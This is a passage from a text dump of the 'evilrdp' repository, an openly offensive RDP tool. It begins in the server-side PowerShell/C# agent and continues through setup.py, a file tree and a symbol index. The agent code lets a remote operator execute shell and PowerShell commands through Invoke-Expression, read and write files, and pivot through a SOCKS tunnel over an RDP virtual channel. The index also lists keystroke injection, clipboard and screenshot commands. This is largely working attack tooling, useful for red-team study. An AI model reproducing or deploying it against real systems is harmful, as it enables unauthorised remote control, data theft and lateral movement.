Array.Copy(BitConverter.GetBytes(1), data, 4);
Array.Copy(xxx, 0, data, 4, xxx.Length);
await manager.SendCmd(initCmd.token, CMDType.SHELLDATA, data);
}
string errresult = process.StandardError.ReadToEnd();
if (result.Length > 0)
{
byte[] xxx = Encoding.UTF8.GetBytes(errresult);
byte[] data = new byte[4 + xxx.Length];
Array.Copy(BitConverter.GetBytes(2), data, 4);
Array.Copy(xxx, 0, data, 4, xxx.Length);
await manager.SendCmd(initCmd.token, CMDType.SHELLDATA, data);
}
}
await manager.SendCmd(initCmd.token, CMDType.OK);
return;
}
catch (Exception objException)
{
//?????????
}
await manager.SendCmd(initCmd.token, CMDType.ERR);
}
public override async Task HandleIncoming(CMD cmd)
{
}
}
/// <summary>
/// SubChannel manages a remote SOCKS server.
/// This is not a SOCKS server implementation, rather a simple wrapper around a single socket.
/// The actual SOCKS proxy is implemented on the remote end.
/// </summary>
public class SOCKSSubChannel : SubChannel
{
string hostname;
int port;
int connect_or_bind;
NetworkStream stream;
TcpClient client;
TcpListener listener;
public SOCKSSubChannel(VChannel manager, CMD initCmd, CancellationToken managerClose) : base(manager, initCmd, managerClose)
{
this.connect_or_bind = BitConverter.ToInt32(initCmd.data, 0);
this.port = BitConverter.ToInt32(initCmd.data, 4);
this.hostname = Encoding.UTF8.GetString(initCmd.data, 8, initCmd.data.Length - 8);
}
public override async Task start()
{
startComms();
}
async Task startComms()
{
if (connect_or_bind == 1)
{
client = new TcpClient();
await client.ConnectAsync(hostname, port);
stream = client.GetStream();
await manager.SendCmd(initCmd.token, CMDType.CONTINUE);
while (true)
{
byte[] buffer = new byte[1500];
int recvSize = await stream.ReadAsync(buffer, 0, buffer.Length, channelClose.Token);
byte[] recdata = new byte[recvSize];
Array.Copy(buffer, recdata, recdata.Length);
await manager.SendCmd(initCmd.token, CMDType.SOCKETDATA, recdata);
}
}
else
{
listener = new TcpListener(port);
client = await listener.AcceptTcpClientAsync();
stream = client.GetStream();
await manager.SendCmd(initCmd.token, CMDType.CONTINUE);
while (true)
{
byte[] buffer = new byte[1500];
int recvSize = await stream.ReadAsync(buffer, 0, buffer.Length, channelClose.Token);
byte[] recdata = new byte[recvSize];
Array.Copy(buffer, recdata, recdata.Length);
await manager.SendCmd(initCmd.token, CMDType.SOCKETDATA, recdata);
}
}
}
public override async Task HandleIncoming(CMD cmd)
{
switch (cmd.command)
{
case CMDType.SOCKETDATA:
{
await stream.WriteAsync(cmd.data, 0, cmd.data.Length, channelClose.Token);
break;
}
case CMDType.OK:
case CMDType.ERR:
{
channelClose.Cancel();
stream.Close();
client.Close();
if(connect_or_bind != 1)
{
listener.Stop();
}
break;
}
}
}
}
/// <summary>
/// This class manages the Virtual Dynamic channel over the RDP connection.
/// The channelname parameter must be known to the client, and by documentation should be max 7 ASCII characters long.
/// All communication between the RDP client component and this manager is done over the FileStream object provided by
/// the WtsApi32 class.
/// This class contains and eventhandler called psCommandExec which can be used to execute PowerShell commands, if you start
/// it with the appropriate powershell setup (included in a separate script)
/// </summary>
public class VChannel
{
public string channelname;
private FileStream vchannel;
public event EventHandler psCommandExec;
private Dictionary<string, SubChannel> channels = new Dictionary<string, SubChannel>();
private CancellationTokenSource cts = new CancellationTokenSource();
public class PSExecEventArgs : EventArgs
{
public byte[] token { get; set; }
public string cmd { get; set; }
public VChannel channel { get; set; }
}
/// <summary>
/// Powershell exec event trigger
/// </summary>
/// <param name="e"></param>
protected virtual void OnPsExecCmd(PSExecEventArgs e)
{
if (psCommandExec == null) return;
psCommandExec.Invoke(this, e);
}
/// <summary>
/// Channel name MUST be the same on both the server and the client!
/// </summary>
/// <param name="channelname"></param>
public VChannel(string channelname)
{
this.channelname = channelname;
}
/// <summary>
/// This is the "main" function which will "block" until the RDP virtual channel is closed.
/// </summary>
/// <returns></returns>
public async Task run()
{
vchannel = WtsApi32.Open(channelname, WtsApi32.WTS_CHANNEL_OPTION.DYNAMIC | WtsApi32.WTS_CHANNEL_OPTION.DYNAMIC_NO_COMPRESS);
await HandleIncoming(vchannel);
}
/// <summary>
/// When an unknown token arrives, a new Subchannel is opened based on the CMDType of the initiator cmd.
/// Extend this switch-case for more features.
/// </summary>
/// <param name="cmd"></param>
/// <returns></returns>
async Task<SubChannel> startChannel(CMD cmd)
{
SubChannel channel = null;
try
{
switch (cmd.command)
{
case CMDType.GETFILE:
{
channel = new FileReadSubChannel(this, cmd, this.cts.Token);
await channel.start();
break;
}
case CMDType.SOCKETOPEN:
{
channel = new SOCKSSubChannel(this, cmd, cts.Token);
await channel.start();
break;
}
case CMDType.SHELL:
{
channel = new CMDExecSubChannel(this, cmd, cts.Token);
await channel.start();
break;
}
case CMDType.PUTFILE:
{
channel = new FileWriteSubChannel(this, cmd, cts.Token);
await channel.start();
break;
}
default:
{
//unknown channel type!
throw new Exception("Unknown channel type!");
break;
}
}
return channel;
}
catch(Exception e)
{
}
await SendCmd(cmd.token, CMDType.ERR);
return channel;
}
/// <summary>
/// This function is invoked whenever a new packet arrives from the remote client.
/// Here you can see that the PS packet is special, as it triggers an event for PowerShell execution.
/// Other packets (named cmd) are either kickstart a new subchannel, or get dispatched to an existing subchannel,
/// </summary>
/// <param name="cmd"></param>
/// <returns></returns>
async Task HandleCmd(CMD cmd)
{
switch (cmd.command)
{
case CMDType.PS:
{
// Powershell execution, triggering event to be recieved by powershell
PSExecEventArgs e = new PSExecEventArgs();
e.token = cmd.token;
e.cmd = Encoding.UTF8.GetString(cmd.data);
e.channel = this;
OnPsExecCmd(e);
break;
}
default:
{
// C# can't handle byte array in switch-case it seems
// converting the token to hex string ://
string tokenhex = BitConverter.ToString(cmd.token); //this is so stupid...
SubChannel ch;
if (!channels.TryGetValue(tokenhex, out ch))
{
// New command! Creating subchannel for it
ch = await startChannel(cmd);
channels.Add(tokenhex, ch);
}
else
{
// Dispatching packet to existing subchannel
ch.HandleIncoming(cmd);
}
break;
}
}
}
// Powershell can call this function with the results
async public Task SendPSResult(string result, byte[] token)
{
await SendCmd(token, CMDType.OK, Encoding.UTF8.GetBytes(result));
}
/// <summary>
/// Send a packet back to the RDP client.
/// </summary>
/// <param name="token"></param>
/// <param name="cmdtype"></param>
/// <returns></returns>
async public Task SendCmd(byte[] token, CMDType cmdtype)
{
await SendCmd(token, cmdtype, new byte[0]);
}
/// <summary>
/// Send a packet back to the RDP client.
/// </summary>
/// <param name="token"></param>
/// <param name="cmdtype"></param>
/// <returns></returns>
async public Task SendCmd(byte[] token, CMDType cmdtype, byte[] data)
{
CMD res = new CMD(token, cmdtype, data);
byte[] raw = res.toBytes();
await vchannel.WriteAsync(raw, 0, raw.Length);
}
/// <summary>
/// Start recieving the packets from the RDP client.
/// This does the defragmenting, as there is a hard limit on the maximal data size per each ReadAsync call.
/// </summary>
/// <param name="vchannel"></param>
/// <returns></returns>
async Task HandleIncoming(FileStream vchannel)
{
int cmdlen = -1;
MemoryStream ms = new MemoryStream();
while (true)
{
while(!((cmdlen != -1) && cmdlen <= ms.Position))
{
byte[] buffer = new byte[4096];
int bytesRead = await vchannel.ReadAsync(buffer, 0, buffer.Length);
ms.Write(buffer, 8, bytesRead - 8);
if(cmdlen == -1)
{
cmdlen = (Int32)(BitConverter.ToInt32(buffer, 8));
}
}
byte[] rawcmd = new byte[cmdlen];
Array.Copy(ms.ToArray(), rawcmd, cmdlen);
if (cmdlen != ms.Position)
{
byte[] remainingBytes = new byte[ms.Position - cmdlen];
Array.Copy(ms.ToArray(), ms.Position - cmdlen, remainingBytes, 0, ms.Position - cmdlen);
ms.Dispose();
ms = new MemoryStream(remainingBytes);
if(remainingBytes.Length >= 4)
{
cmdlen = BitConverter.ToInt32(remainingBytes, 0);
}
}
else
{
ms.Dispose();
ms = new MemoryStream();
cmdlen = -1;
}
await HandleCmd(new CMD(rawcmd));
}
}
}
'@
function Wait-Task {
param(
[Parameter(Mandatory, ValueFromPipeline)]
[System.Threading.Tasks.Task[]]$Task
)
Begin {
$Tasks = @()
}
Process {
$Tasks += $Task
}
End {
While (-not [System.Threading.Tasks.Task]::WaitAll($Tasks, 200)) {}
$Tasks.ForEach( { $_.GetAwaiter().GetResult() })
}
}
Set-Alias -Name await -Value Wait-Task -Force
Add-Type -TypeDefinition $VCHannelDef -IgnoreWarnings
$action = {
#Write-Host $eventargs.cmd
$outtext = ""
Invoke-Expression -Command $eventargs.cmd | Tee-Object -Variable outtext
await $eventargs.channel.SendPSResult($outtext, $eventargs.token);
}
$vc = [VChannel]::new("PSCMD")
$job = Register-ObjectEvent -InputObject $vc -EventName 'psCommandExec' -Action $action
await $vc.run();
================================================
FILE: pyproject.toml
================================================
[build-system]
requires = ["setuptools>=61.0.0"]
build-backend = "setuptools.build_meta"
================================================
FILE: setup.py
================================================
from setuptools import setup, find_packages
from distutils.core import setup, Extension
import re
import platform
VERSIONFILE="evilrdp/_version.py"
verstrline = open(VERSIONFILE, "rt").read()
VSRE = r"^__version__ = ['\"]([^'\"]*)['\"]"
mo = re.search(VSRE, verstrline, re.M)
if mo:
verstr = mo.group(1)
else:
raise RuntimeError("Unable to find version string in %s." % (VERSIONFILE,))
setup(
# Application name:
name="evilrdp",
# Version number (initial):
version=verstr,
# Application author details:
author="Tamas Jos",
author_email="info@skelsecprojects.com",
# Packages
packages=find_packages(),
# Include additional files into the package
include_package_data=True,
# Details
url="https://github.com/skelsec/evilrdp",
zip_safe = False,
#
# license="LICENSE.txt",
description="evilrdp",
# long_description=open("README.txt").read(),
python_requires='>=3.7',
install_requires=[
'prompt-toolkit',
'aardwolf>=0.2.5',
'pyqt5',
'pyqt5-sip',
'pyperclip',
],
classifiers=[
"Programming Language :: Python :: 3.8",
"Operating System :: OS Independent",
],
entry_points={
'console_scripts': [
'evilrdp = evilrdp.__main__:main',
],
}
)
gitextract_0tnqf5gy/ ├── .github/ │ └── workflows/ │ └── python-windows-exe.yml ├── .gitignore ├── MANIFEST.in ├── Makefile ├── README.md ├── builder/ │ └── pyinstaller/ │ └── build.bat ├── evilrdp/ │ ├── __init__.py │ ├── __main__.py │ ├── _version.py │ ├── consolehelper.py │ ├── external/ │ │ ├── __init__.py │ │ └── aiocmd/ │ │ ├── LICENSE │ │ ├── README.md │ │ ├── __init__.py │ │ ├── aiocmd/ │ │ │ ├── __init__.py │ │ │ ├── aiocmd.py │ │ │ └── nested_completer.py │ │ └── docs/ │ │ └── example.py │ ├── gui.py │ └── vchannels/ │ ├── __init__.py │ └── pscmd/ │ ├── __init__.py │ └── serverscript.ps1 ├── pyproject.toml └── setup.py
SYMBOL INDEX (102 symbols across 7 files)
FILE: evilrdp/__main__.py
function main (line 13) | def main():
FILE: evilrdp/consolehelper.py
class EVILRDPConsole (line 18) | class EVILRDPConsole(aiocmd.PromptToolkitCmd):
method __init__ (line 19) | def __init__(self, rdpconn:RDPConnection):
method do_info (line 24) | async def do_info(self):
method do_mousemove (line 27) | async def do_mousemove(self, x, y):
method do_rightclick (line 31) | async def do_rightclick(self, x, y):
method do_doubleclick (line 36) | async def do_doubleclick(self, x, y):
method do_type (line 41) | async def do_type(self, string, chardelay = 0):
method do_return (line 49) | async def do_return(self):
method do_enter (line 52) | async def do_enter(self):
method do_invokerun (line 57) | async def do_invokerun(self):
method do_clipboardset (line 67) | async def do_clipboardset(self, text):
method do_clipboardsetfile (line 71) | async def do_clipboardsetfile(self, filepath):
method do_clipboardget (line 77) | async def do_clipboardget(self, outfile = None):
method do_typefile (line 86) | async def do_typefile(self, fname, chardelay = 1/10000):
method do_powershell (line 95) | async def do_powershell(self):
method do_disconnect (line 103) | async def do_disconnect(self):
method do_quit (line 107) | async def do_quit(self):
method do_screenshot (line 111) | async def do_screenshot(self):
method do_pscmdchannel (line 149) | async def do_pscmdchannel(self, channelname = None):
method do_startpscmd (line 157) | async def do_startpscmd(self, channelname = 'PSCMD', scriptfile = 'ser...
method do_pscmd (line 180) | async def do_pscmd(self, cmd):
method do_getfile (line 198) | async def do_getfile(self, filepath, dstfilepath):
method do_shell (line 219) | async def do_shell(self, cmd):
method do_socksproxy (line 244) | async def do_socksproxy(self, listen_ip = '127.0.0.1', listen_port = 9...
FILE: evilrdp/external/aiocmd/aiocmd/aiocmd.py
class ExitPromptException (line 19) | class ExitPromptException(Exception):
class PromptToolkitCmd (line 23) | class PromptToolkitCmd:
method __init__ (line 38) | def __init__(self, ignore_sigint=True):
method run (line 44) | async def run(self):
method _run_prompt_forever (line 56) | async def _run_prompt_forever(self):
method _sigint_handler (line 79) | def _sigint_handler(self):
method _get_bindings (line 83) | def _get_bindings(self):
method _run_single_command (line 88) | async def _run_single_command(self, command, args):
method _interrupt_handler (line 109) | def _interrupt_handler(self, event):
method _make_completer (line 112) | def _make_completer(self):
method _completer_for_command (line 115) | def _completer_for_command(self, command):
method _get_command (line 120) | def _get_command(self, command):
method _get_command_args (line 125) | def _get_command_args(self, command):
method _get_command_usage (line 132) | def _get_command_usage(self, command, args, kwargs):
method command_list (line 139) | def command_list(self):
method do_help (line 143) | def do_help(self):
method do_quit (line 155) | def do_quit(self):
method _on_close (line 159) | async def _on_close(self):
FILE: evilrdp/external/aiocmd/aiocmd/nested_completer.py
class NestedCompleter (line 17) | class NestedCompleter(Completer):
method __init__ (line 26) | def __init__(self, options: Dict[str, Optional[Completer]],
method __repr__ (line 32) | def __repr__(self) -> str:
method from_nested_dict (line 36) | def from_nested_dict(cls, data: NestedDict) -> 'NestedCompleter':
method get_completions (line 70) | def get_completions(self, document: Document,
FILE: evilrdp/external/aiocmd/docs/example.py
class MyCLI (line 8) | class MyCLI(aiocmd.PromptToolkitCmd):
method __init__ (line 10) | def __init__(self, my_name="My CLI"):
method do_my_action (line 15) | def do_my_action(self):
method do_add (line 19) | def do_add(self, x, y):
method do_echo (line 22) | def do_echo(self, to_echo):
method do_sleep (line 25) | async def do_sleep(self, sleep_time=1):
method _add_completions (line 28) | def _add_completions(self):
method _sleep_completions (line 31) | def _sleep_completions(self):
FILE: evilrdp/gui.py
class RDPClientConsoleSettings (line 34) | class RDPClientConsoleSettings:
method __init__ (line 35) | def __init__(self, url:str, iosettings:RDPIOSettings):
class RDPImage (line 45) | class RDPImage:
method __init__ (line 46) | def __init__(self,x,y,image,width,height):
class RDPInterfaceThread (line 53) | class RDPInterfaceThread(QObject):
method __init__ (line 57) | def __init__(self, parent=None, **kwargs):
method set_settings (line 69) | def set_settings(self, settings, in_q):
method inputhandler (line 73) | def inputhandler(self, loop:asyncio.AbstractEventLoop):
method ducky_keyboard_sender (line 81) | async def ducky_keyboard_sender(self, scancode, is_pressed, as_char = ...
method ducky_exec (line 101) | async def ducky_exec(self, bypass_delay = False):
method rdpconnection (line 120) | async def rdpconnection(self):
method starter (line 170) | def starter(self):
method start (line 182) | def start(self):
method stop (line 189) | def stop(self):
method startducky (line 201) | def startducky(self):
class EvilRDPGUI (line 206) | class EvilRDPGUI(QMainWindow):
method __init__ (line 209) | def __init__(self, settings:RDPClientConsoleSettings):
method closeEvent (line 296) | def closeEvent(self, event):
method connectionClosed (line 300) | def connectionClosed(self):
method updateImage (line 306) | def updateImage(self, event):
method send_key (line 345) | def send_key(self, e, is_pressed):
method send_mouse (line 397) | def send_mouse(self, e, is_pressed, is_hover = False):
method keyPressEvent (line 413) | def keyPressEvent(self, e):
method keyReleaseEvent (line 416) | def keyReleaseEvent(self, e):
method mouseMoveEvent (line 419) | def mouseMoveEvent(self, e):
method mouseReleaseEvent (line 422) | def mouseReleaseEvent(self, e):
method mousePressEvent (line 425) | def mousePressEvent(self, e):
FILE: evilrdp/vchannels/pscmd/__init__.py
class PSCMD (line 10) | class PSCMD(enum.Enum):
class PSCMDMessage (line 23) | class PSCMDMessage:
method __init__ (line 24) | def __init__(self, command: PSCMD ,data:bytes, token:bytes = None, len...
method to_bytes (line 30) | def to_bytes(self):
method from_bytes (line 42) | def from_bytes(data:bytes):
method from_buffer (line 46) | def from_buffer(buff:io.BytesIO):
method __str__ (line 53) | def __str__(self):
class PSCMDChannel (line 59) | class PSCMDChannel(VirtualChannelBase):
method __init__ (line 60) | def __init__(self, channelname):
method channel_init (line 67) | async def channel_init(self):
method channel_data_in (line 74) | async def channel_data_in(self, data:bytes):
method channel_closed (line 86) | async def channel_closed(self):
method sendcmd (line 94) | async def sendcmd(self, cmd:PSCMDMessage):
method sendrcv_pscmd (line 101) | async def sendrcv_pscmd(self, ps):
method sendrcv_getfile (line 108) | async def sendrcv_getfile(self, filepath):
method sendrcv_shellexec (line 122) | async def sendrcv_shellexec(self, command):
method __handle_socks_in (line 140) | async def __handle_socks_in(self, token:bytes, writer:asyncio.StreamWr...
method __handle_tcp_client (line 151) | async def __handle_tcp_client(self, reader:asyncio.StreamReader, write...
method socksproxy (line 215) | async def socksproxy(self, listen_ip, listen_port):
Condensed preview — 24 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (91K chars).
[
{
"path": ".github/workflows/python-windows-exe.yml",
"chars": 2174,
"preview": "name: Build Windows Executable - PyInstaller\n# Description:\n# Most of my projects come with a build.bat script that uses"
},
{
"path": ".gitignore",
"chars": 2787,
"preview": "# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packagi"
},
{
"path": "MANIFEST.in",
"chars": 48,
"preview": "include evilrdp/vchannels/pscmd/serverscript.ps1"
},
{
"path": "Makefile",
"chars": 336,
"preview": "clean:\n\trm -f -r build/\n\trm -f -r dist/\n\trm -f -r *.egg-info\n\tfind . -name '*.pyc' -exec rm -f {} +\n\tfind . -name '*.pyo"
},
{
"path": "README.md",
"chars": 3689,
"preview": " [\n\"\"\" % __v"
},
{
"path": "evilrdp/consolehelper.py",
"chars": 10335,
"preview": "import os\nimport sys\nimport traceback\nimport datetime\nimport asyncio\n\nfrom evilrdp.external.aiocmd.aiocmd import aiocmd\n"
},
{
"path": "evilrdp/external/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "evilrdp/external/aiocmd/LICENSE",
"chars": 1066,
"preview": "MIT License\n\nCopyright (c) 2019 Dor Green\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\n"
},
{
"path": "evilrdp/external/aiocmd/README.md",
"chars": 1398,
"preview": "# aiocmd\nCoroutine-based CLI generator using prompt_toolkit, similarly to the built-in cmd module.\n\n## How to install?\nS"
},
{
"path": "evilrdp/external/aiocmd/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "evilrdp/external/aiocmd/aiocmd/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "evilrdp/external/aiocmd/aiocmd/aiocmd.py",
"chars": 6197,
"preview": "import asyncio\nimport inspect\nimport shlex\nimport signal\nimport sys\nimport traceback\n\nfrom prompt_toolkit import PromptS"
},
{
"path": "evilrdp/external/aiocmd/aiocmd/nested_completer.py",
"chars": 3688,
"preview": "\"\"\"\nNestedcompleter for completion of hierarchical data structures.\n\"\"\"\nfrom typing import Dict, Iterable, Mapping, Opti"
},
{
"path": "evilrdp/external/aiocmd/docs/example.py",
"chars": 876,
"preview": "import asyncio\n\nfrom prompt_toolkit.completion import WordCompleter\n\nfrom aiocmd import aiocmd\n\n\nclass MyCLI(aiocmd.Prom"
},
{
"path": "evilrdp/gui.py",
"chars": 14006,
"preview": "import sys\nimport asyncio\nimport traceback\nimport queue\nimport threading\nimport time\n\nfrom aardwolf import logger\nfrom a"
},
{
"path": "evilrdp/vchannels/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "evilrdp/vchannels/pscmd/__init__.py",
"chars": 6594,
"preview": "import io\nimport enum\nimport os\nimport asyncio\nfrom typing import Dict\nfrom aardwolf.extensions.RDPEDYC.vchannels import"
},
{
"path": "evilrdp/vchannels/pscmd/serverscript.ps1",
"chars": 25928,
"preview": "$VCHannelDef = @'\nusing System;\nusing System.Runtime.InteropServices;\nusing System.IO;\nusing System.Text;\nusing Microsof"
},
{
"path": "pyproject.toml",
"chars": 88,
"preview": "[build-system]\nrequires = [\"setuptools>=61.0.0\"]\nbuild-backend = \"setuptools.build_meta\""
},
{
"path": "setup.py",
"chars": 1199,
"preview": "from setuptools import setup, find_packages\nfrom distutils.core import setup, Extension\nimport re\nimport platform\n\nVERSI"
}
]
About this extraction
This page contains the full source code of the skelsec/evilrdp GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 24 files (82.5 KB), approximately 21.7k tokens, and a symbol index with 102 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.